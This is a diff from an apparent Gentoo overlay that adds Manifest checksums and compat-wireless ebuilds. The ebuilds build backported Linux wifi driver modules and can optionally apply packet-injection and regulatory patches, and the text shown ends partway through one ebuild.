+EBUILD compat-wireless-2.6.38.2-r1.ebuild 5641 SHA256 e226115a59b6c8b91585231ca007d8929dc5f3e4ea7e1e4807c81a2e788869a1 SHA512 de77fdbbfe532b6795d7c97a799fae63bf9453eb9ee4661b34c170654f81e47cdf612239166ced3d08fd27fd37c71a678eb3c5f62d835881bcae798609aa2ff6 WHIRLPOOL 9f0c4a082cd7296fca612b04e87ac0ea469e39f28c38f15f3a91245da029d2b7ec087fef864f80e44d2f6e73d15604e6edbb016dc2b86986b7b19dd18701fab7
+EBUILD compat-wireless-2.6.39-r1.ebuild 5452 SHA256 f93936fa1e85242c8380d6c0ae045b8e7d25930490fe5111f33e7736d9e26aea SHA512 828bbedc9caaa7ceb74f46403b04a29852a464ee617d99b46a0a3844727981835f7127d55ad85289519dce30a238628a849e42df0c01e165a8a60d8ffe6e1dcc WHIRLPOOL 9078e14bdf48624a388c55c8b31f89827f18a64c7420cd717f941e853d8cb203234e81ec5d929cb6786235e5485e8722913c4f1c96d2bb40296c61c09ac39cd4
+EBUILD compat-wireless-3.0.ebuild 6462 SHA256 e40c72a1b7561f30327c37ba21c1aba2037bfc3e2a567d9179c02f004a4ab644 SHA512 e3ac081cd368e068cddc060635ae212510e67e1d6b6507b6b98c14bc0aa3176fbd22b9b22f0ad6bc1a8f14a4383c34afb724155f49e5fb5356ad545c08163917 WHIRLPOOL 1798cb6e82d6df4d437dd674df0b5578009d45195b2b76a2d8170db29024b50e59e997a2afc3e6f7d334a76cc103801931fd54fdf4599757f34cd4fdcba8d85e
+EBUILD compat-wireless-3.1.1.ebuild 6627 SHA256 029fc51c569dc55559decd1c6aa3c12d92cd69c5297c42418ce3b91d4a52f376 SHA512 1afcaf19360e670e09b61973c28cea3e32873c68a41699d49a2fa1ef1fe8710d305da1ec5b8ce7dda50bcaf5447079b032dc33729e97aed47ac4e75d21a29353 WHIRLPOOL e38bcb9be17febef0ebc12d94e20e86a56869915ce3e4c94b591a12faff772ebb16ad45ea2cba70757c06daa9929c456d6f0172cc1e67de4c2372ae3e2763a69
+EBUILD compat-wireless-3.2.5.ebuild 6613 SHA256 7d1a5b6a35612206effbc67eb9963c9f414163999a0462bc7527499f6daae653 SHA512 9dbffcb6314392d6c5dc6715f1b69efb8ccb5c50e7d74c3de42687142a0e7d314da040bbb3d30f3ea2445bfb24c44cbd13db8ace02a7c16b66f31fb4804b23f6 WHIRLPOOL e2cab0f2ef9d840ccad4c9711e7b0f94968989e0bcabfe363808bdf7a86bfbc901472e4e8d1ac1201090fe9fd04693f9f31770fbaf059a783992365c225298f4
+EBUILD compat-wireless-3.2.ebuild 6615 SHA256 0f7475bd458596e43913d99406bbb273172c769f7cb11c5d2c5a1c02a15ff15c SHA512 979e270c251644a8e8bb136c90fbcb7c7c26e07d14250e4d768972a22b5e3c7c7c2b5a61d0271de1abae8a88d893cd16582605345a318af9a99e078fa94c9e13 WHIRLPOOL 3730056766e21fb23fa2360942d75d5dc2324dc6ed3c01d3e453e0a42d2ea7ce59b9a6db85e84e48b12f927ec7211d30296c2d0a04c53f78695dd9fda259ccb1
+EBUILD compat-wireless-3.3-r1.ebuild 6317 SHA256 27ae5ed262b60f48ce1d9a7da3b09cb1db33cada389254605679adb1dc718c2e SHA512 8e4293ce97443d1cd61d75227f08bb1887fb6f43ea3001cf8983c2200c5ca479492ea2b88f3ab862f7ad9a40fe9afb66392c639b56d4d50d255237739cdfb0fb WHIRLPOOL 8a64790158a33caa9d71d025bf3521fc3660ddf1e63570e7eea5acf70944d7f0f14ee46f44f7a7d0f75106f46adbe63c1534f712a630500663e8cc028fe3aab5
+EBUILD compat-wireless-3.3.ebuild 6275 SHA256 db55c6bb5a23842442bb39f2a43d3f45ce66e5d84adf1e6db9841db47a5fbac7 SHA512 4153d3afb0fdc810737aca42818f09b2b9597b9ab20ab479a775cf1a40672af4957e4e2d927d12b250c81076415c9e86def9a2de6d7c96084423512a80cf6044 WHIRLPOOL 5e60138c814ccca49a80c56ff389ce4c1a06955fb4646d8aca9a49ca35896aff74a0ef381f240665aae34c0c11dff0f84f354ea020e9665478dfc93a1c2d2ab5
+EBUILD compat-wireless-3.4_rc1-r1.ebuild 6105 SHA256 5ca6f1d0a82acc892f43de06ff3260e2258b92d8e82e632132e5c067e52efea8 SHA512 4585936607e2e439ba831752be38ab3992ce65676493300cbccd96e96c4db2e885adb816086e0c7649cee95b1cf20a7f556698bc5aa438fb606c856d70d5a1fa WHIRLPOOL 0834e6e5864971be8847c600df8ba8d0f6d375146d5e0ff36def418152d7aeb249076eb4e877fdca30cbf55ce54e5fa396a1940f324b786765dfb42ea4e01c0c
+EBUILD compat-wireless-3.4_rc1.ebuild 6137 SHA256 6c50d965b199dc1c44b1bd33e2bb7db34218954a6e0ebfdd5e8aeaf930858099 SHA512 765534bb307877f8192b614b821133551adfce6bcb67391a8e2d0b8a016ae3c75c85404bde0e831680b60332bc95334a234fe4b53da3ef6a6977318fd71e50ef WHIRLPOOL addeba3038f52d242404d3cdf4688056fc2b894ff2c1022a27c4bfe62158b233a19fa3b9884b3fb20dfb9a67a3ca983ddc2327feb95b4e687aa47cf0a32e2d6d
+EBUILD compat-wireless-3.4_rc3.ebuild 5872 SHA256 27cc89665d38e6d5d77e8d79d17ffd261df01926873a96e9b4f7761ce3f9f021 SHA512 30ec8dc90c7740d771d24c01915548720f63ce7228738ae461f72d5cd9ab2774bc71db953262f51d9daf66b0d9d691434ee8f4a14ca0427cba95a083ad9d2785 WHIRLPOOL 471526b59b1a50a253f9dd919b99bbc7f065dcba99513456ed46b932cc53ed26f5a09abf968ed94c9c0c5ea85d9df55ff5f87dbcb424c4438700f6bc5ed84afa
+EBUILD compat-wireless-3.5-r1.ebuild 6796 SHA256 51e3127daf1c5ccce2f87e5e23f44c7574c295224b1b73c925f8178bb04ff0b7 SHA512 f020885f37307d5f09d3f1268a6ffab03bb8b19f6a07f0203e96a3c674eefec9b5cba2ac0815ba0bc8c7cceaa7524642fd5f1a612693c0e513bbd0949da91ad6 WHIRLPOOL b473db6e540a57220c954bb13fbd2a19ea2c4b20a19af86c12db314e24995d5df9b9cf87e27acab0b92f2f0b4d5bfd85fcb36fab2c4188899bc7e8197c745a55
+EBUILD compat-wireless-3.5.4.ebuild 6866 SHA256 5bfd7f37623890fdccc766a5203bf2cb7613a9343498f51d9c5f29e3d888e8f9 SHA512 3b37c20e0ec5368df908e70c3175ca05957120fd81e58e672019a3f611e308b33950fff1251e7d26107bd50a0c8875eeef983a33fe0c19145238c5b78ed2a680 WHIRLPOOL d8e2db4c96037ea606045f87d1835859cbbbdfd4545b6dca345f9f45025c6ba1cf9bfe5b6194b43ecb48515ecaa3ceaff672de2f1837acc393d065ec1d2e1c8c
+EBUILD compat-wireless-3.5.ebuild 6738 SHA256 38ca4b3947bffe53f458082be5694c7a9a20277bc6f4f9ee20c66bde89659671 SHA512 d92ad6ef63ee45921494e82847563dd61bf50cb7e26e093b7ecb08db804ec670fe655ccafcfebbd1f0af2afff10d23eac603843403f8dc4ca32e1a98548f6718 WHIRLPOOL 66f73ea8a501d26460003361e240f1e6d1b7328c8eaba353192c6b965a0af0172ffaab622999d3cfe9edf91df9106a99aa3f101774dc2d198e68f5343e996b86
+EBUILD compat-wireless-3.5_rc3.ebuild 5813 SHA256 422b28008c3583b13a20194b9a8f5b575f77e0170ac3964b67adc5c43839c801 SHA512 4ad8b1d41e4097afccf3e7de2bb2ad26d6d52e2ddfffeb61fa4a0c7add0f5b9867546bd0b2cb378cf435f0da3dfafc84198075dbeb583e429f273f23bed97045 WHIRLPOOL e33126218e92d48f94f3e830a35fb24db1d9d9dc267fd0a48cb035b3187720a67af39fccfd2a7ba2cae284662cc3df46ecf7a307a50a2b47fd6f170aa323bbb1
+EBUILD compat-wireless-3.6.2.ebuild 7119 SHA256 0c79591d9afd1d9bed4e26e5690d16e8e3f5d280e7792ff292c37181a9c659bc SHA512 7fab1dfbb744fd649a377b134a413bdeef414ea014646d744ce60441ea5c15c16d3b7e670494670bc0bf220ee0155ee8e6070f02e4ee2bbad59d799d8bd9edfc WHIRLPOOL 047680be03ea2fb004eda87954d31d24a542ae94ee6d4e2cd8f76e330464af8602f45a4d8e7920c5d34e56a5d6ab22c3b0df23ec038c65173f430ea2e9607d95
+EBUILD compat-wireless-3.6.6-r1.ebuild 7241 SHA256 36422b26eb004e9cee54723463dfa2ee3bcbe85215f91b4621cd525fc30ef4d1 SHA512 cd11940f10a60ff22532bbc37faa46015e09494bd50d282fbc8fa2d8ec3d0e37ef0fcb517a59dcd1a2fe75f46ec998c898024348615aafc71fe9eb6789ba364d WHIRLPOOL 353ad02c98ceb63fc3c58756e4968b983635536127072bf24141216001e6e39fd80fa4c54ae498ada53891c6777fee2c69d5d307d4fe75f01a369f9e01efcc78
+EBUILD compat-wireless-3.6.6.ebuild 7120 SHA256 0b463780ffe9339aeb4661db085aad049973b702bab9a3714288275bf11d7dd2 SHA512 64211a924fb68386398a7d189a7e2d5cf25528f61636396764c175f2e7fc21c0dab62578d4870911e599b6619d724b3f7a481428b3682d6385ecdd75b27d9c94 WHIRLPOOL e75a856faab4e808e276260dc27b20da4db2ad920743b3fcc58488aa9566fdbe4cc8f82bd6a4fd075bc6cfee4b43d7d67d37149b9997b193835391adce97948e
+EBUILD compat-wireless-3.6_rc5.ebuild 6878 SHA256 5c174ccc936d0a81b585cd20238aed52c2d520b43067b5768579cabbf80ceb20 SHA512 0cef6c6a305c47ac0a3f57e71ed6740e1f5ad76f660ca23df1c2253ab4ba329dba988a061d10e0e23bcbbcf76990f53213ff008b8a03612f58efee1222f56b12 WHIRLPOOL 6595e81a6f805ce643768b74af497398c7cb74e2db0bf7767acf45576b19e976bf0ab172f95ac6cc1aeea0a5869c87b0ecb65faf348e76758056d62ada675362
+EBUILD compat-wireless-3.6_rc7.ebuild 7121 SHA256 40fa110888619aa0eca6a920554e3734e84a8319402ff88369f8c1b16a2460fb SHA512 41aca27c4accfa72c9bd9554e30127ed48627e7dfdfbe60d3a7eeca55387d12beafa04ff6ef36b8bed90f6ccc49aa3b817a8769f3b2ea2d8e9338adc4058adc3 WHIRLPOOL bf2207904ce98356b4b640272a0d0ad37534c50a467fccff8c8696937bb71d36c1fe819d09ee42e79d2b2499b0f968c1725b23ecee4411daec2a9ef61068a65a
+MISC metadata.xml 228 SHA256 8715828d1bff71d5d96b991ba600bae9376c1c80c96f0f102260fc335ca22487 SHA512 006b031017fe79d0da68ed1c2684d2b87f75976111d8abdb18d126ffe142df8ded67805f14fe4adfe17e93287080126b7f4af64dac0ebaa1d9fe4c97e5f9573a WHIRLPOOL e711ede3bf7bcf0dc9d3ecd2706e4120270d4942718ee901f8d42c1c86055c8b153bdb24d6682a56d14f5b14d4ff220c115f14714b3f039bdc3deeece3d1fd02
diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.32.8.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.32.8.ebuild
new file mode 100644
index 00000000..9a77e7f7
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-2.6.32.8.ebuild
@@ -0,0 +1,80 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+inherit linux-mod linux-info versionator
+
+##Stable
+MY_P=${P/_rc/-rc}
+MY_PV=v$(get_version_component_range 1-3)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="injection"
+
+DEPEND=""
+RDEPEND="=sys-kernel/linux-firmware-99999999"
+
+S=${WORKDIR}/${MY_P}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required"
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+}
+
+src_prepare() {
+	#whynot patch is against the makefile to fix general brokeness
+	epatch "${FILESDIR}"/whynot-2.6.32.patch
+
+	if use injection; then
+		epatch "${FILESDIR}"/400[24]_*.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/compat-chaos.patch;
+		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+	fi
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KVER="${KV_FULL}" || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}" || die "failed to install module ${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/modlib.sh scripts/b43enable scripts/load.sh \
+		scripts/unload.sh || die "script installation failed"
+	dodoc README || die
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh 
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+	einfo 'You may have problem if you do not run "depmod -ae" after this installation'
+	einfo 'To switch to the new drivers without reboot run unload.sh then load.sh'
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.33-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.33-r1.ebuild
new file mode 100644
index 00000000..ec5e9381
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-2.6.33-r1.ebuild
@@ -0,0 +1,86 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+inherit linux-mod linux-info versionator
+
+##Stable
+MY_P=${P/_rc/-rc}
+MY_PV=v$(get_version_component_range 1-3)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="injection"
+
+DEPEND=""
+RDEPEND="=sys-kernel/linux-firmware-99999999"
+
+S=${WORKDIR}/${MY_P}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -ge $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+}
+
+src_prepare() {
+	#whynot patch is against the makefile to fix general brokeness
+	epatch "${FILESDIR}"/whynot-2.6.32.patch
+
+	if use injection; then
+		epatch "${FILESDIR}"/400[24]_*.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/compat-chaos.patch;
+		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+	fi
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KVER="${KV_FULL}" || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}" || die "failed to install module ${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/load.sh \
+		scripts/unload.sh || die "script installation failed"
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh || die
+
+	dodoc README || die
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh 
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+	einfo 'You may have problem if you do not run "depmod -ae" after this installation'
+	einfo 'To switch to the new drivers without reboot run unload.sh then load.sh'
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.34-r2.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.34-r2.ebuild
new file mode 100644
index 00000000..e2bb72e4
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-2.6.34-r2.ebuild
@@ -0,0 +1,105 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+inherit linux-mod linux-info versionator
+
+##Stable
+MY_P=${P/_rc/-rc}
+MY_PV=v$(get_version_component_range 1-3)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="injection tinyversionoverride"
+
+DEPEND=""
+RDEPEND="=sys-kernel/linux-firmware-99999999"
+
+S=${WORKDIR}/${MY_P}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system. Ten seconds to think about it."
+			epause 10
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			epause 5
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+}
+
+src_prepare() {
+	#whynot patch is against the makefile to fix general brokeness
+	epatch "${FILESDIR}"/whynot-2.6.32.patch
+	#0001 is a patch to fix monitor mode promisc for ath5k, a bug present for a very long time.
+	#this patch should be merged soon and no longer needed.
+	epatch "${FILESDIR}"/0001-ath5k-retain-promiscuous-setting.patch
+
+	if use injection; then
+		epatch "${FILESDIR}"/400[24]_*.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/compat-chaos.patch
+		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+		epatch "${FILESDIR}"/super_secret_patch.diff
+	fi
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KVER="${KV_FULL}" || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}" || die "failed to install module ${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/load.sh \
+		scripts/unload.sh || die "script installation failed"
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh || die
+
+	dodoc README || die
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh 
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+	einfo 'You may have problem if you do not run "depmod -ae" after this installation'
+	einfo 'To switch to the new drivers without reboot run unload.sh then load.sh'
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.35-r1.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.35-r1.ebuild
new file mode 100644
index 00000000..2c946dad
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-2.6.35-r1.ebuild
@@ -0,0 +1,147 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+#remove the below line
+MY_P=${PF/-r/-}
+#remove the above line
+
+MY_PV=v$(get_version_component_range 1-3)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection noleds tinyversionoverride"
+
+DEPEND=""
+RDEPEND="=sys-kernel/linux-firmware-99999999"
+
+S=${WORKDIR}/${MY_P}
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+#	if ! version_is_at_least 4.4.3 "$(gcc-fullversion)"; then
+#		 die
+#	fi
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system. Ten seconds to think about it."
+			epause 10
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			epause 5
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+}
+
+src_prepare() {
+	#whynot patch is against the makefile to fix general brokeness
+	epatch "${FILESDIR}"/whynot-2.6.32.patch
+
+	#this patch fixes a trivial typo in the config.mk
+	epatch "${FILESDIR}"/fix-typos-2.6.35_rc2.patch
+
+	#this patch is needed to forcibly enable new ralink chips because the shipped config.mk doesn't enable them
+	epatch "${FILESDIR}"/force-enable-new-ralink.patch
+	epatch "${FILESDIR}"/force-enable-new-ralink-pci.patch
+
+	#this patch is needed for general craziness of WEXT being removed from the kernel
+	epatch "${FILESDIR}"/WEXT-EXT-nuts.patch
+
+	#test patch for fixing iwlagn issues
+	epatch "${FILESDIR}"/reinette-test2.patch
+
+	#this patch ignores the regulatory settings of an atheros card and uses what CRDA thinks is right
+	if use atheros_obey_crda; then
+		ewarn "You have enabled atheros_obey_crda which doesn't do what you think."
+		ewarn "This use flag will cause the eeprom of the card to be ignored and force"
+		ewarn "world roaming on the device until crda provides a valid regdomain."
+		ewarn "Short version, this is not a way to break the law, this will automatically"
+		ewarn "make your card less functional unless you set a proper regdomain with iw/crda."
+		ewarn "Pausing for 10 secs..."
+		epause 10
+		epatch "${FILESDIR}"/ath_ignore_eeprom.patch
+	fi
+
+	if use injection; then
+		epatch "${FILESDIR}"/400[24]_*.patch
+		epatch "${FILESDIR}"/mac80211.compat08082009.wl_frag+ack_v1.patch
+		epatch "${FILESDIR}"/4013-runtime-enable-disable-of-mac80211-packet-injection.patch
+		epatch "${FILESDIR}"/compat-chaos.patch
+		epatch "${FILESDIR}"/rtl8187-mac80211-injection-speed-2.6.30-rc3.patch
+#		epatch "${FILESDIR}"/super_secret_patch.diff
+	fi
+	use noleds && epatch "${FILESDIR}"/leds-disable-strict.patch
+	use debug-driver && epatch "${FILESDIR}"/driver-debug.patch
+	use debugfs && sed -i '/DEBUGFS/s/^# *//' "${S}"/config.mk
+	if use full-debug; then
+		if use debug-driver ; then
+			sed -i '/CONFIG=/s/^# *//' "${S}"/config.mk
+		else
+			ewarn "Enabling full-debug includes debug-driver."
+			sed -i '/DEBUG=/s/^# *//' "${S}"/config.mk
+		fi
+	fi
+}
+
+src_compile() {
+	addpredict "${KERNEL_DIR}"
+	set_arch_to_kernel
+	emake KVER="${KV_FULL}" || die "emake failed"
+}
+
+src_install() {
+	for file in $(find -name \*.ko); do
+		insinto "/lib/modules/${KV_FULL}/updates/$(dirname ${file})"
+		doins "${file}" || die "failed to install module ${file}"
+	done
+	dosbin scripts/athenable scripts/b43load scripts/iwl-enable \
+		scripts/madwifi-unload scripts/athload scripts/iwl-load \
+		scripts/b43enable scripts/load.sh \
+		scripts/unload.sh || die "script installation failed"
+
+	dodir /usr/lib/compat-wireless
+	exeinto /usr/lib/compat-wireless
+	doexe scripts/modlib.sh || die
+
+	dodoc README || die
+	dodir /$(get_libdir)/udev/rules.d/
+	insinto /$(get_libdir)/udev/rules.d/
+	doins udev/50-compat_firmware.rules
+	exeinto /$(get_libdir)/udev/
+	doexe udev/compat_firmware.sh 
+}
+
+pkg_postinst() {
+	update_depmod
+	update_moduledb
+	einfo 'You may have problem if you do not run "depmod -ae" after this installation'
+	einfo 'To switch to the new drivers without reboot run unload.sh then load.sh'
+}
+
+pkg_postrm() {
+	remove_moduledb
+}
diff --git a/net-wireless/compat-wireless/compat-wireless-2.6.36.ebuild b/net-wireless/compat-wireless/compat-wireless-2.6.36.ebuild
new file mode 100644
index 00000000..340b734d
--- /dev/null
+++ b/net-wireless/compat-wireless/compat-wireless-2.6.36.ebuild
@@ -0,0 +1,137 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+inherit linux-mod linux-info versionator eutils
+
+##Stable
+
+MY_P=${P/_rc/-rc}
+
+MY_PV=v$(get_version_component_range 1-3)
+DESCRIPTION="Stable kernel pre-release wifi subsystem backport"
+HOMEPAGE="http://wireless.kernel.org/en/users/Download/stable"
+SRC_URI="http://www.orbit-lab.org/kernel/${PN}-2.6-stable/${MY_PV}/${MY_P}-5-spn.tar.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="x86 amd64 arm"
+IUSE="atheros_obey_crda debugfs debug-driver full-debug injection noleds tinyversionoverride"
+
+DEPEND=""
+RDEPEND="=sys-kernel/linux-firmware-99999999"
+
+S="${WORKDIR}"/"${MY_P}"-5-spn
+RESTRICT="strip"
+
+CONFIG_CHECK="!DYNAMIC_FTRACE"
+
+pkg_setup() {
+	linux-mod_pkg_setup
+	kernel_is -lt 2 6 27 && die "kernel 2.6.27 or higher is required for compat wireless to be installed"
+	kernel_is -gt $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3) && die "The version of compat-wireless you are trying to install contains older modules than your kernel. Failing before downgrading your system."
+	if kernel_is -eq $(get_version_component_range 1) $(get_version_component_range 2) $(get_version_component_range 3); then
+		if use tinyversionoverride; then
+			ewarn "You have the tinyversionoverride use flag set which means you know for a fact that your"
+			ewarn "kernel is older than the compat-wireless you are installing."
+			ewarn "Most likely you have no clue what you are doing and should hit control-C now"
+			ewarn "before you downgrade your system. Ten seconds to think about it."
+			epause 10
+		else
+			ewarn "Your kernel version is most likely newer than the compat-wireless release you are"
+			ewarn "trying to install. If you are certain that your kernel is older then you can set"
+			ewarn "the tinyversionoverride use flag to override this safety check."
+			epause 5
+			die "Your kernel version is too close to the compat-wireless version to risk installation."
+		fi
+	fi
+	linux_chkconfig_module MAC80211 || die "CONFIG_MAC80211 must be built as a _module_ !"
+	linux_chkconfig_module CFG80211 || die "CONFIG_CFG80211 must be built as a _module_ !"
+}
+
+src_prepare() {
+	#this patch fixes a trivial typo in the config.mk
+	epatch "${FILESDIR}"/fix-typos-2.6.36_rc5.patch
+
+	#this patch is needed to forcibly enable new ralink chips because the shipped config.mk doesn't enable them
+	epatch "${FILESDIR}"/force-enable-new-ralink-pci-2.6.36-rc5.patch
+
